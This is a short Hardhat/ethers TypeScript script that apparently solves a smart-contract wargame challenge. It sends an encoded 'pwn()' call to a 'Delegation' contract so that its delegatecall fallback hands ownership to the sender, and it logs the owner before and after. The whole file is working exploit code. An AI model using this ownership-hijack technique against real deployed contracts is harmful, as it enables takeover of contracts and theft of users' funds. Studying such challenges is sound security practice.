delegateExploit.ts

import { DELEGATE } from "../constants"
import { ethers } from "hardhat"
import { Delegation } from "../typechain-types"

const delegateExploit = async () => {
    const accounts = await ethers.getSigners()
    const exploiter = accounts[0]

    const delegation: Delegation = await ethers.getContractAt("Delegation", DELEGATE)
    console.log("owner of delagation - before exploit", await delegation.owner())
    const abi = ["function pwn()"]
    const iface = new ethers.utils.Interface(abi)

    const tx = {
        to: delegation.address,
        data: iface.encodeFunctionData("pwn"),
        gasLimit: ethers.BigNumber.from("100000"), //-n note that metamask cannot estimate gas and fails
        //-n important we specify a manual limit to pass the transaction
    }
    console.log("transaction", tx)
    const sendTx = await exploiter.sendTransaction(tx)
    await sendTx.wait(1)

    console.log("owner of delegation - after exploit", await delegation.owner())
}

delegateExploit()
    .then(() => {
        console.log("delegate exploit completed")
        process.exit(0)
    })
    .catch((e) => {
        console.error(e)
        process.exit(1)
    })